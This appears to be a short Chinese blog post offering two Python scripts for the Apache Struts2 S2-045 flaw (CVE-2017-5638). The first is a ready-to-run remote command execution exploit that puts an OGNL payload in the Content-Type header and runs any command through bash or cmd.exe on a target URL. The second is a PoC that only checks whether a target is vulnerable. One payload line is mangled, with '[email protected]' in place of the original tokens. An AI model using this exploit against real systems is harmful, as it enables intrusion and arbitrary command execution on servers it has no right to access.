struts2 045 poc

第一篇文章测试用吧

直接是漏洞利用代码

#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib


def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial

    print(page)
    return page


if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py  ")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)

还有只是测试的POC

import requests
import sys

def poc(url):

    payload = "%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"

    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    if "105059592" in r.content:
        return True
    return False

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    elif poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"
